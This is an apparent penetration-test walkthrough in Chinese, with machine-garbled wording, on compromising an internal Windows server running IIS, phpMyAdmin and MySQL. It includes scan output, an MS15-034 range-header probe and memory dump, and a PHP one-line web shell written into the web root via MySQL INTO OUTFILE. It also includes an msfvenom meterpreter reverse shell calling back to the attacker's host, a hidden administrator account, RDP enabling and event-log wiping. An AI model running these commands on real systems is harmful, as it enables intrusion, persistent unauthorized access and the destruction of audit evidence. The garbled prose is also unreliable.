由于是对内网直接进行大扫描,以是直接判断这不仅是一个 Web 做事器(多个),同时还运行着 FTP、数据库。
在此,再次利用 nmap 扫描一次,结果如下:
$ sudo nmap -T4 -n -sS -sV -O192.168.3.72Nmap scan reportfor192.168.3.72Host is up (0.00076s latency).Not shown:974closed portsPORT STATE SERVICE VERSION7/tcp openecho9/tcp open discard?13/tcp open daytime?17/tcp open qotd Windows qotd (English)19/tcp open chargen21/tcp open ftp FileZilla ftpd42/tcp open tcpwrapped80/tcp open http Microsoft HTTPAPI httpd2.0(SSDP/UPnP)135/tcp filtered msrpc139/tcp filtered netbios-ssn445/tcp filtered microsoft-ds999/tcp open http Apache httpd2.4.33((Win32) OpenSSL/1.0.2o mod_fcgid/2.3.9mod_jk/1.2.40)1801/tcp open msmq?2107/tcp open msrpc Microsoft Windows RPC2383/tcp open ms-olap4?3306/tcp open mysql MySQL5.5.193389/tcp open ms-wbt-server?8009/tcp open ajp13 Apache Jserv (Protocol v1.3)8080/tcp open http Apache Tomcat/Coyote JSP engine1.18082/tcp open http Microsoft IIS httpd7.549152/tcp open msrpc Microsoft Windows RPC1service unrecognized despite returning data.Ifyou know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :SF-Port13-TCP:V=7.70%I=7%D=8/13%Time=5D53656C%P=x86_64-unknown-linux-gnu%rSF:(NULL,12,"23:35:37\x202019/8/13\n")%r(NCP,12,"23:35:37\x202019/8/13\n");Device type: general purposeRunning: Microsoft Windows Vista|2008|7OS CPE: cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_vista::sp2 cpe:/o:microsoft:windows_server_2008::sp2 cpe:/o:microsoft:windows_7OS details: Microsoft Windows Vista SP1 - SP2, Windows Server2008SP2,orWindows7Network Distance:2hopsService Info: OS: Windows; CPE: cpe:/o:microsoft:windows
参数阐明:-T<0-5>设置一个韶光模板(数字越大速率越快,毋庸置疑快会捐躯扫描质量)-n 不做 DNS 解析-sS TCP SYN 半连接扫描-sV 探测开放端口以确定做事版本信息-O 开启操作系统探测
乍一看,跑了这么多做事。初步判断很可能有 vulnerabilities。
总结,这是一台操作系统为 Windows(目前未能确认详细版本)的、运行着 FileZilla FTP、MySQL 5.5.19、Web等做事;而且开放了太多端口。
Web 做事器端口:80、999、8080、8082;运行着这么几个 Web 做事。
不过经确认,只有 999 Apache 和 8082 IIS 两个端供词给的 Web 做事正常。
且,999 端口运行着 phpMyAdmin(一个以 PHP 为根本,以 Web-Base 办法架构在网站主机上的 MySQL 的数据库管理工具,让管理者可用 Web 接口管理 MySQL 数据库),当然也是漏洞多多。
0x01 远程代码实行在我一顿瞎掰操作下,实在是利用扫描器加手动验证;找到一个致命漏洞,该漏洞存在于端口 8082 IIS做事器上。
MS15-034 复现HTTP.sys 远程实行代码漏洞 - CVE-2015-1635
当 HTTP.sys 未精确剖析经分外设计的 HTTP 要求时会导致此漏洞。成功利用此漏洞的攻击者可以在系统帐户的高下文中实行任意代码。
若要利用此漏洞,攻击者必须将经分外设计的 HTTP 要求发送到受影响的系统。通过修正 Windows HTTP 堆栈处理要求的办法,此更新可以修复此漏洞。
详细
根据微软安全公告,此漏洞貌似可以远程任意代码实行;但就我实际复现来说,彷佛并不成立。
通过给 IIS 做事器发送如下 HTTP 要求,便可触发这个漏洞。
GET / HTTP/1.1Host:stuffRange: bytes=0-18446744073709551615
而我就直策应用的 wget 测试此漏洞,当然还可以利用 curl 和 MSF。
$ wget --header="Range: bytes=0-18446744073709551615"http://192.168.3.72:8082/Images/top01.gif--2019-08-1323:44:03-- http://192.168.3.72:8082/Images/top01.gifConnecting to192.168.3.72:8082... connected.HTTP request sent, awaiting response...416Requested Range Not SatisfiableThe fileisalready fully retrieved; nothing todo.
如上要求包,若IIS做事器返回 “Requested Range Not Satisfiable“,则是存在漏洞,否则如果返回 “The request has an invalid header name”,则解释漏洞已经修补。
进一步利用/危害前面的远程任意代码实行并不成立;此漏洞就当前利用来说,只能造成两种危害。
我利用 MSF 来 exploit 利用办法。
如下,利用 MSF 读取做事器内核内存数据。
msf5 > use auxiliary/scanner/http/ms15_034_http_sys_memory_dumpmsf5 auxiliary(scanner/http/ms15_034_http_sys_memory_dump) > set RHOSTS192.168.3.72msf5 auxiliary(scanner/http/ms15_034_http_sys_memory_dump) > set RPORT8082msf5 auxiliary(scanner/http/ms15_034_http_sys_memory_dump) > set TARGETURI /Images/top01.gifmsf5 auxiliary(scanner/http/ms15_034_http_sys_memory_dump) > exploit[+] Target may be vulnerable...[+] Stand by...[-] Memory dump start positionnotfound, dumping all data instead[+] Memorycontents:485454502f312e312034303020426164|HTTP/1.1 400 Bad|20526571756573740d 0a436f6e74656e| Request..Conten|742d547970653a20746578742f68746d|t-Type: text/htm|6c3b20636861727365743d75732d6173|l; charset=us-as|6369690d 0a5365727665723a204d6963|cii..Server: Mic|… … … … … … … … …726f736f66742d485454504150492f32|rosoft-HTTPAPI/2|4572726f72203430302e205468652072|Error 400. The r|65717565737420686f73746e616d6520|equest hostname |697320696e76616c69642e3c2f703e 0d|is invalid.</p>.|0a3c2f424f44593e3c2f48544d4c3e 0d|.</BODY></HTML>.|0a|.|[+] Memory dump saved to /home/f4n9x/.msf4/loot/20190814122223_default_192.168.3.72_iis.ms15034_317502.bin[] Scanned1of1hosts (100% complete)[] Auxiliarymoduleexecutioncompleted
第二种,我直策应用 wget 命令。
$wget --header="Range: bytes=18-18446744073709551615"http://192.168.3.72/Images/top01.gif
在敲这条命令时,我双手一贯是抖的。
这条命令回车下去直接对做事器造成 DoS 攻击,做事器必定假去世或蓝屏;我就不回车了……
此漏洞利用,就到此为止咯。。。
哦,对了。记得更新补丁哦!
!
!
很不甘心,难道仅仅只能让此做事器蓝屏重启吗???
得想想办法拿到最高掌握权!
!
!
再次整理思路……
phpMyAdmin URL 主页:192.168.3.72:999
目录爆破首先利用了 nikto 扫描了此站是否还有其他目录。
$ nikto -host http://192.168.3.72:999/- Nikto v2.1.6---------------------------------------------------------------------------+ Target IP: 192.168.3.72+ Target Hostname: 192.168.3.72+ Target Port: 999+StartTime:2019-08-1323:55:43(GMT8)---------------------------------------------------------------------------+Server: Apache/2.4.33(Win32) OpenSSL/1.0.2o mod_fcgid/2.3.9mod_jk/1.2.40+ Retrieved x-powered-byheader: PHP/5.3.29+ The X-XSS-Protectionheaderisnotdefined. This header can hinttotheuseragenttoprotect againstsomeformsofXSS+ Uncommon header'x-ob_mode'found,withcontents:0+ The X-Content-Type-Options headerisnotset. This couldallowtheuseragenttorender thecontentofthe siteina different fashiontothe MIMEtype+Serverleaks inodes via ETags, headerfoundwithfile/robots.txt,fields:0x1a0x4e4e67f49da00+ WebServerreturnsa valid responsewithjunkHTTPmethods, this may causefalsepositives.+ DEBUGHTTPverb mayshowserverdebugging information. Seehttp://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspxfordetails.+ OSVDB-877:HTTPTRACEmethodisactive, suggesting the hostisvulnerabletoXST+ OSVDB-3092: /setup/: This might be interesting...+ OSVDB-3092: /README: READMEfilefound.+ OSVDB-3233: /icons/README: Apachedefaultfilefound.+8348requests:0error(s)and17item(s) reportedonremote host+EndTime:2019-08-1323:56:50(GMT8) (67seconds)---------------------------------------------------------------------------+1host(s) tested
重点在 “+ OSVDB-3092: /setup/: This might be interesting…“,这一条。
setup 没被关闭;由此判断管理员默认安装,这是很大的隐患。
如果管理员未对 phpmyadmin 目录下的 setup 文件进行安全处理,那普通用户可以在不进行身份认证的情形下,便可以配置做事器信息。
我在这里呢。直接反手新建了一个做事器(MySQL做事器)。
而且在认证页面创造缓存的密码(huweishen.com),根据密码可以预测 phpMyAdmin 安装办法该当是此护卫神网站上的某款软件傻瓜式安装滴!
回到主页,未出意外地登录进去了。
CVE-2016-5734中间还有一个小插曲。我找到一个 phpMyAdmin 需身份验证的远程代码实行漏洞。
CVE-2016-5734_POC
$./cve-2016-5734.py -c'system(ipconfig);'-u root -p toor http://192.168.5.99:999/ERROR:#1286 - Unknown storage engine'InnoDB'
但是很不幸,MySQL 中未开启 InnoDB 引擎。而开启方法只能是编辑系统中 MySQL 的配置文件 my.cnf。
MySQL [(none)]> show variables like"%innodb%";+-----------------------+----------+| Variable_name |Value|+-----------------------+----------+|have_innodb| DISABLED || ignore_builtin_innodb |OFF|+-----------------------+----------+2 rowsinset (0.002 sec)
CVE-2016-5734 利用失落败。。。
寻物理路径,外写木马经测试创造,MySQL 中,into outfile 未被禁用,而且这里也不存在 WAF 拦截;root 用户拥有向外写文件的权限。
MySQL [(none)]> SELECT @@global.secure_file_priv;+---------------------------+| @@global.secure_file_priv |+---------------------------+| NULL |+---------------------------+1rowinset(0.001sec)
再查询未利用 secure-file-priv 参数;这解释不仅能向外写文件,而且想往哪里写就往哪儿写。
以是,只需找到 Web 物理路径;利用 SQL 语句向 Web 目录写个一句话木马,就能拿到做事器的 shell。
首先先判断当前 MySQL 的数据、插件等目录:
MySQL [(none)]> show variables like"%dir%";+-----------------------------------------+------------------------------------------+| Variable_name |Value|+-----------------------------------------+------------------------------------------+|basedir| D:/HwsApacheMaster/mysql/ || binlog_direct_non_transactional_updates |OFF||character_sets_dir| D:\HwsApacheMaster\mysql\share\charsets\ || datadir |D:\HwsApacheMaster\mysql\Data\||lc_messages_dir| D:\HwsApacheMaster\mysql\share\ || plugin_dir |D:\HwsApacheMaster\mysql\lib/plugin||slave_load_tmpdir| C:\Users\MYSQL_~1.005\AppData\Local\Temp || tmpdir |C:\Users\MYSQL_~1.005\AppData\Local\Temp|+-----------------------------------------+------------------------------------------+8 rowsinset (0.002 sec)
创造 D:\ 下一个有趣的目录 HwsApacheMaster,仅此而已。
此时的我把精力转向 Web 页面;打算在网页上瞎几掰乱试,指望 Web Application 程序出错,大力失事业般的报错将 Web 物理路径爆出来。绞尽脑汁地让程序报错;可惜,并没有。。。
思考许久,我想到了。
前面通过浏览器缓存创造的那个密码(huweishen.com)很故意思,通过这个密码可以创造,phpMyAdmin 是管理员默认安装的;灵光一现,我直接去这个网站下载这个傻瓜式一键安装的软件(护卫神),安装至本地测试,不就知道了物理路径了嘛!
!
!
这款软件叫做【护卫神·Apache大师】;安装一整套环境至本地,创造目录构造如下:
├──D:/│ ├── HwsApacheMaster│ │ ├── phpmyadmin│ │ │ ├── web│ │ │| ├── libraries│ │ │ |├── database│ │ │| ├── doc│ │ │ |├── js│ │ │| ├── setup│ │ │ |├── themes│ │ ├── Apache2.2│ │ ├── Tomcat8│ │ ├── mysql│ │ ├── Java│ │ ├── php… … … … …
此时很明确了,直接一句话木马写至某目录;把稳转义符。
MySQL [(none)]> select "<?php@eval($_POST['a']);?>" into outfile 'D:\\HwsApacheMaster\\phpMyAdmin\\web\\she11.php';Query OK, 1 row affected (0.002 sec)
然后,就可以利用菜刀等 shell 连接工具与木马进行连接;连接密码为 a 。
由于菜刀只能在Windows上利用,而我操作系统为 Linux,利用的是另一款 shell 连接工具 AntSword(蚁剑) , 开源、跨平台的网站(shell)管理工具。
AntSword
连接上去后,进入终端,输入 cmd 命令会创造无法实行。
D:\HwsApacheMaster\phpmyadmin\web> whoamiret=127
这解释,php 配置文件 php.ini 中将一些危险函数给禁用掉了,即 disable_functions。将此项删除,清理一下缓存,便可以实行 cmd 了。
D:\HwsApacheMaster\phpmyadmin\web> whoamint authority\system
哇,system 权限。可是比 Administrator 管理员用户权限还要大,这也省的我接下来的提权了。
由于 菜刀、蚁剑这类工具功能比较于 MSF 功能比较欠缺,以是我要再次天生一个木马用来反弹 shell 连接 MSF。
$ msfvenom--platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.5.23 LPORT=4444 -f exe -o she11.exe参数:--platform 平台-p payload,有效载荷LHOST 本地IPLPORT 本地端口-f 天生文件类型-o 输出文件名
将天生的木马通过蚁剑传至做事器上一个有实行权限的目录;虽然我和做事器并不在一个网段(本以为要做内网穿透的),但防火墙为关闭状态,依旧能够建立连接。
首先,MSF 先在本地侦听着4444端口,等着 shell 反弹回来。
msf5>useexploit/multi/handlermsf5exploit(multi/handler) >setpayloadwindows/x64/meterpreter/reverse_tcpmsf5exploit(multi/handler) >setLHOST192.168.5.23msf5exploit(multi/handler) >setLPORT4444msf5exploit(multi/handler) >exploit[]StartedreverseTCPhandleron192.168.5.23:4444
然后利用蚁剑,在 CMD 终端中实行刚刚天生的那个木马文件(she11.exe)
C:\Windows\System32>C:/Windows/System32/she11.exe
回车实行这个 exe 后,在 MSF 这边就会天生一个 meterpreter。
[]StartedreverseTCPhandleron192.168.5.23:4444[]Sendingstage(206403bytes)to192.168.3.72[]Meterpretersession1opened(192.168.5.23:4444-> 192.168.3.72:55580)at2019-08-1417:59:57+0800meterpreter>
getuid 获取当前用户,还是 SYSTEM 。
meterpreter> getuidServer username: NT AUTHORITY\SYSTEM
开启远程 RDP 连接
meterpreter > run post/windows/manage/enable_rdp[] Enabling Remote Desktop[] RDPisalready enabled[] Setting Terminal Services service startup mode[] Terminal Services serviceisalreadysetto auto[] Opening portinlocal firewallifnecessary[] For cleanup execute Meterpreter resource file: /home/f4n9x/.msf4/loot/20190814180610_default_192.168.3.72_host.windows.cle_307378.txt
查看刚刚开启 RDP 实行的详细命令。
$cat/home/f4n9x/.msf4/loot/20190814180610_default_192.168.3.72_host.windows.cle_307378.txtexecute-H -fcmd.exe-a"/c 'netsh firewall set service type = remotedesktop mode = enable'"
进入 CMD 模式。
meterpreter>shellProcess7116created.Channel3created.MicrosoftWindows[版本 6.1.7600]版权所有 (c)2009MicrosoftCorporation。保留所有权利。C:\Windows\System32>
查看当前所有用户。
C:\Windows\System32>net user\\ 的用户帐户---------------------------------------------------------Administrator Guest mysqlMySQL_HWS www
创建一个隐蔽用户(Windows中在用户名后带上$即为隐蔽,仅仅只是大略隐蔽),并拉入管理员用户组,查看。
C:\Windows\System32>net user she11$ D@i123 /addC:\Windows\System32>net localgroup administrators she11$ /addC:\Windows\System32>net user she11$用户名 she11$全名注释用户的注释国家/地区代码000(系统默认值)帐户启用 Yes帐户到期 从不上次设置密码2019/8/140:30:02密码到期2019/9/250:30:02密码可变动2019/8/140:30:02须要密码 Yes用户可以变动密码 Yes许可的事情站 All登录脚本用户配置文件主目录上次登录2019/8/140:44:40可许可的登录小时数 All本地组成员 Administrators Users全局组成员 None命令成功完成。
完成后,直接登录到做事器。
rdesktop192.168.3.72-u she11$ -p D@i123-g 1024x960
此过程中难免会留下日志信息痕迹,利用此命令来清理日志。
meterpreter > clearev[] Wiping16000recordsfromApplication...[] Wiping20128recordsfromSystem...[] Wiping18688recordsfromSecurity...
原文转自:https://mp.weixin.qq.com/s/X16Cog6R8TSbWqi1z-2_GA